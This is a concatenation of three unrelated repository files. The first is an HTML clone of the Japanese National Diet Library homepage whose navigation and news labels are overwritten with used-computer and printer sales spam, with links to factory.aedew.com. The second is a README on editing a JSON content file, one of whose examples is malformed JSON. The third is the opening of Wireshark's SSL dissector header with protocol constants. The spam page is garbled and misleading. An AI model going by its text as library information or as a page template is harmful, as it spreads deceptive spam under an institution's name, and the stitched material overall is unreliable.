<li><a href="http://ndl.go.jp/zh/index.html"><span xml:lang="zh" lang="zh">简体中文 (Chinese)</span></a></li>
<li><a href="http://ndl.go.jp/ko/index.html"><span xml:lang="ko" lang="ko">한국어 (Korean)</span></a></li>
<li><a href="http://ndl.go.jp/en/index.html"><span xml:lang="en" lang="en">English</span></a></li>
</ul>
</div>
<!-- commonNavi // -->
<!-- // search -->
<div id="search">
<div id="searchWindow">
<div id="cse-search-form" style="width: 100%;" class="blockNone">Loading</div>
<script type="text/javascript">
//<![CDATA[
setGcsNdl('ja');
//]]>
</script>
</div>
</div>
<!-- search // -->
</div>
</div>
<!-- header // -->
<!-- // gNavi -->
<div id="gNavi">
<div class="gNavi_in">
<ul>
<li><img src="http://ndl.go.jp/common/images/menu1-title.jpg" alt="利用案内" width="151" height="40" /></li>
<li><a href="http://ndl.go.jp/service/index.html"><img src="http://ndl.go.jp/common/images/menu1-01_off.jpg" alt="サービス概要" width="128" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu1-02_off.jpg" alt="【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
" width="100" height="40" class="changeImage" /></a></li>
<li><a href="http://ndl.go.jp/service/kansai/index.html"><img src="http://ndl.go.jp/common/images/menu1-03_off.jpg" alt="中古パソコン ★外付けDVDマルチのオマケ付き!Corei5搭載Let'snote★ Panasonic Let'snote CF-N9JW 4GBメモリ Corei5 無線LAN HDMI 外付けDVDマルチ リカバリ内蔵 Windows7Pro 【MicrosoftOffice付(2010)】【中古】" width="85" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu1-04_off.jpg" alt="中古パソコン ★高解像度液晶搭載!DELLの人気ワイドノート★ DELL Latitude E5400 2GBメモリ Core2Duo WXGA+液晶 無線LAN DVD鑑賞OK Windows7 【MicrosoftOffice付(2007)】【中古】" width="140" height="40" class="changeImage" /></a></li>
<li><a href="http://ndl.go.jp/service/access.html"><img src="http://ndl.go.jp/common/images/menu1-05_off.jpg" alt="アクセス" width="90" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu1-06_off.jpg" alt="中古パソコン ★地デジ受信可能 ボード型PC 訳あり★ SONY VAIO VGC-LM51DB 2GBメモリ リカバリ内蔵 500GBHDD 地デジ WindowsVista 【MicrosoftOffice付(2003)】 【中古】" width="115" height="40" class="changeImage" /></a></li>
<li><a href="http://ndl.go.jp/information/guide.html"><img src="http://ndl.go.jp/common/images/menu1-07_off.jpg" alt="登録利用者制度" width="141" height="40" class="changeImage" /></a></li>
</ul>
<ul>
<li><img src="http://ndl.go.jp/common/images/menu2-title.jpg" alt="オンラインサービス" width="169" height="40" /></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu2-01_off.jpg" alt="中古パソコン ★フルHD対応の大画面24ワイド液晶★富士通 ESPRIMO D750/A 4GBメモリ Corei3 250GBHDD DVDマルチ 24型ワイド液晶 リカバリ内蔵 Windows7Pro 中古デスクトップ 【KingsoftOffice付(2013)】 【中古】" width="128" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu2-02_off.jpg" alt="中古パソコン★高解像度液晶搭載 Let'sNoteが訳あり★Pasasonic Let's Note CF-Y8EW Core2Duo 2GBメモリ 無線LAN DVDマルチ SXGA+14型液晶 Windows7 中古ノートパソコン 【MicrosoftOffice付(2003)】 【中古】" width="141" height="40" class="changeImage" /></a></li>
<li><a href="https://ndlopac.ndl.go.jp/"><img src="http://ndl.go.jp/common/images/menu2-03_off.jpg" alt="蔵書検索" width="128" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu2-04_off.jpg" alt="中古パソコン ★安心のNEC製の便利なB5モバイル!★ NEC VersaPro PC-VK10EB-B 2GBメモリ デュアルコア搭載 160GBHDD 無線LAN Windows7 中古ノートパソコン 【KingsoftOffice付(2013)】【中古】" width="128" height="40" class="changeImage" /></a></li>
<li><a href="http://ndl.go.jp/service/online_service.html#shirabekata"><img src="http://ndl.go.jp/common/images/menu2-05_off.jpg" alt="中古パソコン ★地デジ受信可能 ボード型PC 訳あり★ SONY VAIO VGC-LM51DB 2GBメモリ リカバリ内蔵 500GBHDD 地デジ WindowsVista 【MicrosoftOffice付(XP)】 【中古】" width="128" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/menu2-06_off.jpg" alt="中古パソコン ★USB無線LANプレゼント 本日限定!★DELL Optiplex745sff 2GBメモリ デュアルコアCPU搭載 19型ワイド液晶 DVD鑑賞OK 160GBHDD Windows7 中古デスクトップパソコン 【EIOffice付】 【中古】" width="128" height="40" class="changeImage" /></a></li>
</ul>
</div>
</div>
<!-- gNavi // -->
<div id="contentsbody">
<!-- // contents_l -->
<div id="contents_l">
<div class="contents_search_con">
<h2><a href="http://iss.ndl.go.jp/"><img src="http://ndl.go.jp/common/images/title_ndl-opac.jpg" alt="【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
" width="230" height="40" class="changeImage" /></a></h2>
<form id="siteSearch_top" name="siteSearch_top" class="contents_search_bt clearAfter" action="javascript:getNdlsearch_top('ja','other');">
<label for="ndlsearchbox_top" class="hidden">検索文字入力</label>
<input id="ndlsearchbox_top" type="text" class="contents_searchKeyword" value="キーワードを入力" />
<input type="image" class="changeImage" id="submit_top" value="検索" src="http://ndl.go.jp/common/images/bt_search-b2_off.gif" alt="検索" />
</form>
<p>【4,000円 OFF】APPLE MacBook Air A1370 MC968J/A Core i5 1.6GHz 4GB SSD-128GB 2011年【中古品】【値下げセール】</p>
</div>
<div class="Information">
<h2>中古パソコン ★Corei5搭載 Win7一体型パソコン★ 富士通 ESPRIMO K552/C Corei5 2GBメモリ DVD-ROM リカバリ内蔵 Windows7Pro 【MicrosoftOffice付(2007)】 【中古】</h2>
<ul>
<li><a href="http://factory.aedew.com/images/Core2Duo/020411106j25wr.html">http://factory.aedew.com/images/Core2Duo/020411106j25wr.html</a></li>
<li><a href="">中古パソコン ★Let'snoteが訳ありの為お買い得★ Panasonic Let'snote CF-Y5K 1.5GBメモリ DVDマルチ 無線LAN SXGA+液晶 WindowsXP 中古ノートパソコン 【MicrosoftOffice付(2007)】 【中古】</a></li>
<li><a href="http://ndl.go.jp/aboutus/deposit/deposit.html" onclick="javascript:urchinTracker('/side/nouhon.html');">【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</a> / <a href="" onclick="javascript:urchinTracker('/side/jnb.html');">【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</a></li>
<li><a href="http://factory.aedew.com/images/Core2Duo/020411282g84dr.html">http://factory.aedew.com/images/Core2Duo/020411282g84dr.html</a></li>
<li><a href="http://ndl.go.jp/service/rssemag.html#RSS" onclick="javascript:urchinTracker('/side/rss.html');">RSS</a> / <a href="http://ndl.go.jp/service/rssemag.html#MM" onclick="javascript:urchinTracker('/side/mm.html');">メルマガ</a> / <a href="http://ndl.go.jp//service/rssemag.html#API" onclick="javascript:urchinTracker('/side/api.html');">API</a> / <a href="http://ndl.go.jp//service/rssemag.html#Twitter" onclick="javascript:urchinTracker('/side/twitter.html');">Twitter</a></li>
</ul>
</div><div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_archive.png" alt="中古パソコン ★DVD焼きOKで高解像度!光沢仕上げのワイドノート★ DELL Vostro1520 DVDマルチ 2GBメモリ 160GB 無線LAN WXGA+液晶 Windows7Pro 中古ノートパソコン 【MicrosoftOffice付(2010)】【中古】" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_kaigiroku.gif" alt="中古パソコン ★NEC高性能ワイドノート 訳あり★ NEC VersaPro PC-VK23E/A 2GBメモリ 15.6型ワイド液晶 DVD鑑賞OK リカバリ内蔵 Windows7pro 中古ノートパソコン 【MicrosoftOffice付(2003)】【中古】" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_ndl_opac.gif" alt="【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_digi.gif" alt="中古 高速Core i5搭載ノートPC Lenovo ThinkPad X220(4291-LH8) 12.5インチ Core i5 2520M 2.50GHz 4GB 320GB【中古品】" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_kindai.gif" alt="中古パソコン ★NECのスリムな一体型パソコン★ NEC VALUESTAR PC-VN750Kシリーズ RadeonX1200 2GBメモリ DVDマルチ Windows7 【MicrosoftOffice付(XP)】【中古】" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_research.gif" alt="リサーチ・ナビ" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_reference.gif" alt="中古パソコン ★DVD焼きOKで高解像度!光沢仕上げのワイドノート★ DELL Vostro1520 DVDマルチ 2GBメモリ 160GB 無線LAN WXGA+液晶 Windows7Pro 中古ノートパソコン 【MicrosoftOffice付(2003)】【中古】" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/banner_hourei.gif" alt="日本法令索引" width="230" height="40" /></a></div>
<div class="contents_banner"><a href=""><img src="http://ndl.go.jp/common/images/bnr_kids.jpg" alt="中古パソコン ★Corei5搭載の大人気Let'snote★ Panasonic CF-S10EY 4GBメモリ Corei5 320GB DVDマルチ 無線LAN Wimax HDMI USB3.0 リカバリ内蔵 Windows7Pro 中古ノートパソコン 【MicrosoftOffice付(XP)】【中古】" width="220" height="44" /></a></div>
<div class="contents_banner_big"><a href=""><img src="http://ndl.go.jp/common/images/banner_ca.gif" alt="中古パソコン ★NEC高性能ワイドノート 訳あり★ NEC VersaPro PC-VK23E/A 2GBメモリ 15.6型ワイド液晶 DVD鑑賞OK リカバリ内蔵 Windows7pro 中古ノートパソコン 【KingsoftOffice付(2013)】【中古】" width="230" height="40" /></a></div>
<hr /><br />
<div class="contents_banner"><a href="" onclick="javascript:urchinTracker('/banner/jikocho.html');"><img src="http://ndl.go.jp/common/images/banner_jikocho.gif" alt="中古パソコン ★稀少な高解像度モデル メモリアップグレード中!★ 東芝 dynabook Satellite J70 2GBメモリ Core2Duo搭載 15型SXGA+ DVDマルチ 無線LAN Windows7 中古ノートパソコン 【MicrosoftOffice付(2007)】【中古】" width="230" height="40" /></a></div>
</div>
<!-- contents_l // -->
<!-- // contents_c -->
<div id="contents_c">
<div class="emergency clearAfter">
<div class="emergency_tit2">
<h2>【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
,中古パソコン ★希少なLenovoの一体型PC★ Lenovo C325 3095 3GBメモリ デュアルコア RadeonHD6310 無線LAN DVDマルチ webカメラ 20型ワイド Windows7 中古デスクトップ 【KingsoftOffice付(2013)】【中古】</h2>
</div>
<div class="emergency_con">
<a href="">中古パソコン ★Win7搭載!人気のLet'sが訳ありで格安!★ Panasonic Let'sNote CF-W8シリーズ 2GBメモリ 160GB DVD鑑賞OK 無線LAN Windows7 中古ノートパソコン 【MicrosoftOffice付(2007)】【中古】</a>
</div>
</div>
<div class="news clearAfter">
<div class="news_tit">
<h2>【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</h2>
<p><a class="icon" href="">中古パソコン ★デュアルコア搭載モバイルノートが訳あり★DELL Vostro1220 2GBメモリ デュアルコア DVDマルチ 無線LAN Windows7Pro 中古ノートパソコン 【KingosftOffice付(2013)】【中古】</a><a href="http://ndl.go.jp//rss/update.xml"><img src="http://ndl.go.jp/common/images/ico_rss.gif" alt="rss" width="14" height="16" /></a></p>
</div>
<ul class="news_bt clearAfter">
<li><a href=""><img src="http://ndl.go.jp/common/images/bt_press_off.gif" alt="中古パソコン ★Let'note Yシリーズ キレイな良品★ Panasonic Let'snote CF-Y7B 2GBメモリ Core2Duo DVD鑑賞OK 無線LAN Windows7 中古ノートパソコン 【中古】 【MicrosoftOffice付(XP)】" width="86" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/bt_news_off.gif" alt="中古パソコン ★オンラインゲーム対応!高性能BTOパソコン★ BTOパソコン Corei7 16GBメモリ GeForceGTX560 500GBHDD BD-RE USB3.0 HDMI Windows7pro 64bit 中古デスクトップ 【MicrosoftOffice付(2010)】【中古】" width="85" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/bt_event_off.gif" alt="中古パソコン ★DVDが焼けるWin7ノートがちょっと訳ありで格安!★ 富士通 FMV-BIBLO NF55Y/D 2GBメモリ DVDマルチ 無線LAN 15.4型ワイド光沢液晶 テンキー Windows7 【MicrosoftOffice付(XP)】【中古】" width="85" height="40" class="changeImage" /></a></li>
<li><a href=""><img src="http://ndl.go.jp/common/images/bt_issue_off.gif" alt="中古パソコン ★DVD焼きOK!光沢仕上げのDELLの大画面ノート 訳あり★ DELL Vostro1520 DVDマルチ 2GBメモリ 160GB 無線LAN 15.4型ワイド液晶 Windows7Pro 中古ノートパソコン 【MicrosoftOffice付(2010)】【中古】" width="85" height="40" class="changeImage" /></a></li>
<li class="end"><a href=""><img src="http://ndl.go.jp/common/images/bt_recruit_off.gif" alt="中古パソコン ★Corei3搭載!人気のThinkPadシリーズ★ Lenovo ThinkPad Edge 0328-2BJ 4GBメモリ 320GBHDD 無線LAN 光沢液晶 HDMI Windows7 中古ノートパソコン 【MicrosoftOffice付(2003)】【中古】" width="85" height="40" class="changeImage" /></a></li>
</ul>
<div class="news_con">
<dl>
<dt><span>2015年12月24日</span> <img src="http://ndl.go.jp/common/images/ico_issue.gif" alt="刊行物" width="68" height="16" /></dt>
<dd><a href="" >中古パソコン ★使用時間280時間の良品!Let'snoteRシリーズ★Panasonic Let'snote CF-R8EC 3GBメモリ Core2Duo 使用時間280h 無線LAN リカバリ内蔵 10.1型液晶 Windows7 【EIOffice付】【中古】,【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</a></dd>
<dt><span>2015年12月17日</span> <img src="http://ndl.go.jp/common/images/ico_issue.gif" alt="刊行物" width="68" height="16" /></dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020410364l13nh.html">http://factory.aedew.com/images/Core2Duo/020410364l13nh.html</a></dd>
<dt><span>2015年12月7日</span> <img src="http://ndl.go.jp/common/images/ico_etc.gif" alt="その他" width="68" height="16" /></dt>
<dd><a href="" >【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</a></dd>
<dt><span>2015年12月7日</span> <img src="http://ndl.go.jp/common/images/ico_issue.gif" alt="刊行物" width="68" height="16" /></dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020410415u84jc.html">http://factory.aedew.com/images/Core2Duo/020410415u84jc.html</a></dd>
<dt><span>2015年12月3日</span> <img src="http://ndl.go.jp/common/images/ico_etc.gif" alt="その他" width="68" height="16" /></dt>
<dd><a href="" >中古パソコン ★デュアルコア搭載 Lenovoデスクトップセット★ Lenovo ThinkCentre M58p (7220-AJJ) 2GBメモリ Core2Duo リカバリ内蔵 DVDマルチ 19型 Windows7Pro 中古デスクトップ 【KingosftOffice付(2013)】 【中古】,中古パソコン★安心のリカバリ内蔵モデル★NEC Mate PC-MK26 大容量4GBDDR3メモリ DVD鑑賞OK デュアルコアCPU リカバリ内蔵 Windows7Pro 中古デスクトップ【MicrosoftOffice付(2003)】 【中古】</dd>
<dt><span>2015年12月3日</span> <img src="http://ndl.go.jp/common/images/ico_recruit.gif" alt="採用情報" width="68" height="16" /></dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020410460r84ek.html">http://factory.aedew.com/images/Core2Duo/020410460r84ek.html</a></dd>
</dl>
</div>
</div>
<div class="spotlight">
<div class="spotlight_tit">
<h2>【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</h2>
</div>
<div class="spotlight_con">
<dl class="clearAfter">
<dt><a href=""><img src="http://ndl.go.jp/jp/spot/__icsFiles/thumbnail/2015/11/30/spot_sympo1601.jpg" alt="DELL LATITUDE E5510 Core i5 M540 2.53GHz 4GB 160GB DVD-ROM リカバリディスク付属【中古品】6658" /></a></dt>
<dd>
<a href="">★すぐに使えるWin7デスクトップセット★ hp Compaq dc5000SFFシリーズ17型液晶セット 2GBメモリ デュアルコア搭載 DVD鑑賞OK Windows7 【MicrosoftOffice2003】</a>
<span>中古デスクトップPC 本体 DELL デル OPTIPLEX 790 Core i3 2100 3.10GHz 4GB 300GB DVD-ROM【中古品】7509,【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</span>
</dd>
</dl>
<dl class="clearAfter">
<dt><a href="http://ndl.go.jp/kaleido/entry/20/index.html"><img src="http://ndl.go.jp/jp/spot/__icsFiles/thumbnail/2015/11/18/spot_kaleido20.jpg" alt="Panasonic Let's note SX1 CF-SX1GDHYS Core i5 2540M 2.60GHz 4GB 250GB DVDSマルチ【中古品】7000" /></a></dt>
<dd>
<a href="">【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</a>
<span>中古パソコン★安心のリカバリ内蔵モデル★NEC Mate PC-MK26 大容量4GBDDR3メモリ DVD鑑賞OK デュアルコアCPU リカバリ内蔵 Windows7Pro 中古デスクトップ【MicrosoftOffice付(XP)】 【中古】,【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</span>
</dd>
</dl>
</div>
</div>
</div>
<div class="event">
<h2>中古パソコン ★Windows7搭載格安ノート 人気のThinkPad★ IBM ThinkPad T60 メモリ1GB 無線LAN DVD鑑賞OK 小型マウス付 Windows7 中古ノートパソコン 【EIOffice付】 【中古】,【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</h2>
<dl><dt>2016年1月11日(月)</dt>
<dd><a href="">中古 デスクトップ 液晶一体型PC ONKYO E411A5B Atom 330 1.60GHz 2GB 320GB DVDSマルチ【中古品】7941,SONY 一体型PC VGC-LN90S Core2Duo E8500 3.16GHz 4GB 500GB BDマルチ ブルーレイ【中古品】6228,EPSON EB-1771W 液晶プロジェクター 3000lm 225H【中古美品】</a></dd>
<dt>2016年1月15日(金)</dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020411329g35wg.html">http://factory.aedew.com/images/Core2Duo/020411329g35wg.html</a></dd>
<dt>2016年2月18日(木)</dt>
<dd><a href="http://factory.aedew.com/images/Core2Duo/020410427r22yi.html">http://factory.aedew.com/images/Core2Duo/020410427r22yi.html</a></dd>
</dl>
</div>
</div>
<!-- contents_r // -->
</div>
<!-- // footer -->
<div id="footer" class="clearAfter">
<!-- // hidden -->
<span class="hidden">ここからサブメニュー(フッタ)です。</span>
<!-- hidden // -->
<div class="footer_in2">
<!-- // about -->
<p id="about"><a href="">中古パソコン★東芝ハイスペックモバイル Windows7搭載★ 東芝 dynabook SS N11 2GBメモリ Core2Duo 160GBHDD 無線LAN Windows7 中古ノートパソコン 【MicrosoftOffice付(2003)】 【中古】</a></p>
<!-- about // -->
<!-- // footernavi -->
<div id="footernavi">
<ul>
<li><a href="http://ndl.go.jp/aboutus/index.html">中古パソコン ★人気のスリム型 デュアルコア搭載★ hp Compaq 6200Pro 4GBDDR3メモリ デュアルコア DVDマルチ リカバリ内蔵 Windows7 中古デスクトップ 【EIOffice付】</a></li>
<li><a href="http://ndl.go.jp/aboutus/deposit/deposit.html">納本制度</a></li>
<li><a href="http://ndl.go.jp/library/index.html">【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</a></li>
<li><a href="">出版者の方へ</a></li>
<li><a href="">障害のある方へ</a></li>
<li><a href="">SONY BRAVIA用 壁よせフロアスタンド SU-FL71L(バックカバーあり)【送料着払い】【中古品】6711</a></li>
<li><a href="http://ndl.go.jp/publication/index.html">刊行物</a></li>
<li><a href="">【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</a></li>
<li class="end"><a href="http://ndl.go.jp//supply/index.html">調達情報</a></li>
</ul>
</div>
<!-- footernavi // -->
<div id="footernavi2" class="clearAfter">
<ul>
<li><a href="">サイトポリシー</a></li>
<li class="end"><a href="">お問い合わせ</a></li>
</ul>
</div>
</div>
<div class="copyright" xml:lang="en" lang="en">Copyright © 2012- All Rights Reserved.</div>
</div>
<!-- footer // -->
</div>
</body>
</html>
|
ForAEdesWeb/AEW2
|
images/Core2Duo/020411358y86yp.html
|
HTML
|
gpl-2.0
| 43,148
|
# whyubuntuisbetter
##How to edit content:
This is the file you need to edit: https://github.com/mariogrip/whyubuntuisbetter/blob/master/items.json
Let's say the items.json file looks like this:
```
{
"items": [
{
"title": "Example",
"text": "This is an awesome example."
}
]
}
```
And you want to add new content with title = "Awesome" and text = "This is just an awesome test!", you will need to format it like this:
```
{
"title": "Awesome",
"text": "This is just an awesome test!"
}
```
After that, you will need to add that new block into the existing file, the result should look something like this:
```
{
"items": [
{
"title": "Example",
"text": "This is an awesome example."
},
{
"title": "Awesome",
"text": "This is just an awesome test!"
}
]
}
```
Use this tool to check if your JSON code is correct: http://json.parser.online.fr/
##How to add "Read More" to content:
Say you want to add a "Read More" page to this item:
```
{
"title": "Awesome new text!!!",
"text": "This is just an awesome test!"
}
```
Then the first thing you will need to do is to find the out what the url/file name will be on the content json file that will be placed inside the folder /content. To do this you need to take the title of the item and make everything to lowercase, replace space with - and remove any letter that does not match a-z and 1-9 (so "Awesome new text!!!" would be "awesome-new-text")
Then you need to make an .json with the name you just made (example "awesome-new-text.json")
Now you can add the content
example:
```
{
"item": {
"title": Awesome new text!!!",
"text": "This is just an awesome read more page :)"
}
}
```
after that is done you need to enable "Read more" to your item in items.json:
example
```
{
"title": "Awesome new text!!!",
"text": "This is just an awesome test!",
"read-more": true
}
```
|
mariogrip/whyubuntuisbetter
|
README.md
|
Markdown
|
gpl-2.0
| 1,994
|
/* packet-ssl-utils.h
* ssl manipulation functions
* By Paolo Abeni <paolo.abeni@email.com>
*
* Wireshark - Network traffic analyzer
* By Gerald Combs <gerald@wireshark.org>
* Copyright 1998 Gerald Combs
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#ifndef __SSL_UTILS_H_
#define __SSL_UTILS_H_
#include <stdio.h> /* some APIs we declare take a stdio stream as an argument */
#include <glib.h>
#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/wmem/wmem.h>
#include <epan/expert.h>
#include <wsutil/wsgcrypt.h>
#ifdef HAVE_LIBGNUTLS
#include <gnutls/x509.h>
#include <gnutls/pkcs12.h>
#include <epan/conversation.h>
#include "ws_symbol_export.h"
/* #define SSL_FAST 1 */
#define SSL_DECRYPT_DEBUG
#endif /* HAVE_LIBGNUTLS */
#ifdef HAVE_LIBGCRYPT
#define SSL_CIPHER_CTX gcry_cipher_hd_t
#ifdef SSL_FAST
#define SSL_PRIVATE_KEY gcry_mpi_t
#else /* SSL_FAST */
#define SSL_PRIVATE_KEY struct gcry_sexp
#endif /* SSL_FAST */
#else /* HAVE_LIBGCRYPT */
#define SSL_CIPHER_CTX void*
#define SSL_PRIVATE_KEY void
#endif /* HAVE_LIBGCRYPT */
/* version state tables */
#define SSL_VER_UNKNOWN 0
#define SSL_VER_SSLv2 1
#define SSL_VER_SSLv3 2
#define SSL_VER_TLS 3
#define SSL_VER_TLSv1DOT1 4
#define SSL_VER_DTLS 5
#define SSL_VER_DTLS1DOT2 8
#define SSL_VER_DTLS_OPENSSL 9
#define SSL_VER_PCT 6
#define SSL_VER_TLSv1DOT2 7
/* other defines */
typedef enum {
SSL_ID_CHG_CIPHER_SPEC = 0x14,
SSL_ID_ALERT = 0x15,
SSL_ID_HANDSHAKE = 0x16,
SSL_ID_APP_DATA = 0x17,
SSL_ID_HEARTBEAT = 0x18
} ContentType;
typedef enum {
SSL_HND_HELLO_REQUEST = 0,
SSL_HND_CLIENT_HELLO = 1,
SSL_HND_SERVER_HELLO = 2,
SSL_HND_HELLO_VERIFY_REQUEST = 3,
SSL_HND_NEWSESSION_TICKET = 4,
SSL_HND_CERTIFICATE = 11,
SSL_HND_SERVER_KEY_EXCHG = 12,
SSL_HND_CERT_REQUEST = 13,
SSL_HND_SVR_HELLO_DONE = 14,
SSL_HND_CERT_VERIFY = 15,
SSL_HND_CLIENT_KEY_EXCHG = 16,
SSL_HND_FINISHED = 20,
SSL_HND_CERT_URL = 21,
SSL_HND_CERT_STATUS = 22,
SSL_HND_SUPPLEMENTAL_DATA = 23,
/* Encrypted Extensions was NextProtocol in draft-agl-tls-nextprotoneg-03
* and changed in draft 04 */
SSL_HND_ENCRYPTED_EXTS = 67
} HandshakeType;
#define SSL2_HND_ERROR 0x00
#define SSL2_HND_CLIENT_HELLO 0x01
#define SSL2_HND_CLIENT_MASTER_KEY 0x02
#define SSL2_HND_CLIENT_FINISHED 0x03
#define SSL2_HND_SERVER_HELLO 0x04
#define SSL2_HND_SERVER_VERIFY 0x05
#define SSL2_HND_SERVER_FINISHED 0x06
#define SSL2_HND_REQUEST_CERTIFICATE 0x07
#define SSL2_HND_CLIENT_CERTIFICATE 0x08
#define PCT_VERSION_1 0x8001
#define PCT_MSG_CLIENT_HELLO 0x01
#define PCT_MSG_SERVER_HELLO 0x02
#define PCT_MSG_CLIENT_MASTER_KEY 0x03
#define PCT_MSG_SERVER_VERIFY 0x04
#define PCT_MSG_ERROR 0x05
#define PCT_CH_OFFSET_V1 0xa
#define PCT_CIPHER_DES 0x01
#define PCT_CIPHER_IDEA 0x02
#define PCT_CIPHER_RC2 0x03
#define PCT_CIPHER_RC4 0x04
#define PCT_CIPHER_DES_112 0x05
#define PCT_CIPHER_DES_168 0x06
#define PCT_HASH_MD5 0x0001
#define PCT_HASH_MD5_TRUNC_64 0x0002
#define PCT_HASH_SHA 0x0003
#define PCT_HASH_SHA_TRUNC_80 0x0004
#define PCT_HASH_DES_DM 0x0005
#define PCT_CERT_NONE 0x00
#define PCT_CERT_X509 0x01
#define PCT_CERT_PKCS7 0x02
#define PCT_SIG_NONE 0x0000
#define PCT_SIG_RSA_MD5 0x0001
#define PCT_SIG_RSA_SHA 0x0002
#define PCT_SIG_DSA_SHA 0x0003
#define PCT_EXCH_RSA_PKCS1 0x01
#define PCT_EXCH_RSA_PKCS1_TOKEN_DES 0x02
#define PCT_EXCH_RSA_PKCS1_TOKEN_DES3 0x03
#define PCT_EXCH_RSA_PKCS1_TOKEN_RC2 0x04
#define PCT_EXCH_RSA_PKCS1_TOKEN_RC4 0x05
#define PCT_EXCH_DH_PKCS3 0x06
#define PCT_EXCH_DH_PKCS3_TOKEN_DES 0x07
#define PCT_EXCH_DH_PKCS3_TOKEN_DES3 0x08
#define PCT_EXCH_FORTEZZA_TOKEN 0x09
#define PCT_ERR_BAD_CERTIFICATE 0x01
#define PCT_ERR_CLIENT_AUTH_FAILED 0x02
#define PCT_ERR_ILLEGAL_MESSAGE 0x03
#define PCT_ERR_INTEGRITY_CHECK_FAILED 0x04
#define PCT_ERR_SERVER_AUTH_FAILED 0x05
#define PCT_ERR_SPECS_MISMATCH 0x06
#define SSL_HND_HELLO_EXT_SERVER_NAME 0x0
#define SSL_HND_HELLO_EXT_STATUS_REQUEST 0x0005
#define SSL_HND_HELLO_EXT_CERT_TYPE 0x0009
#define SSL_HND_HELLO_EXT_ELLIPTIC_CURVES 0x000a
#define SSL_HND_HELLO_EXT_EC_POINT_FORMATS 0x000b
#define SSL_HND_HELLO_EXT_SIG_HASH_ALGS 0x000d
#define SSL_HND_HELLO_EXT_HEARTBEAT 0x000f
#define SSL_HND_HELLO_EXT_ALPN 0x0010
#define SSL_HND_HELLO_EXT_STATUS_REQUEST_V2 0x0011
#define SSL_HND_HELLO_EXT_CLIENT_CERT_TYPE 0x0013
#define SSL_HND_HELLO_EXT_SERVER_CERT_TYPE 0x0014
#define SSL_HND_HELLO_EXT_PADDING 0x0015
#define SSL_HND_HELLO_EXT_EXTENDED_MASTER_SECRET_TYPE 0x0017
#define SSL_HND_HELLO_EXT_SESSION_TICKET 0x0023
#define SSL_HND_HELLO_EXT_RENEG_INFO 0xff01
#define SSL_HND_HELLO_EXT_NPN 0x3374
#define SSL_HND_HELLO_EXT_CHANNEL_ID_OLD 0x754f
#define SSL_HND_HELLO_EXT_CHANNEL_ID 0x7550
#define SSL_HND_CERT_URL_TYPE_INDIVIDUAL_CERT 1
#define SSL_HND_CERT_URL_TYPE_PKIPATH 2
#define SSL_HND_CERT_STATUS_TYPE_OCSP 1
#define SSL_HND_CERT_STATUS_TYPE_OCSP_MULTI 2
#define SSL_HND_CERT_TYPE_RAW_PUBLIC_KEY 2
/*
* Lookup tables
*/
extern const value_string ssl_version_short_names[];
extern const value_string ssl_20_msg_types[];
extern value_string_ext ssl_20_cipher_suites_ext;
extern const value_string ssl_20_certificate_type[];
extern const value_string ssl_31_content_type[];
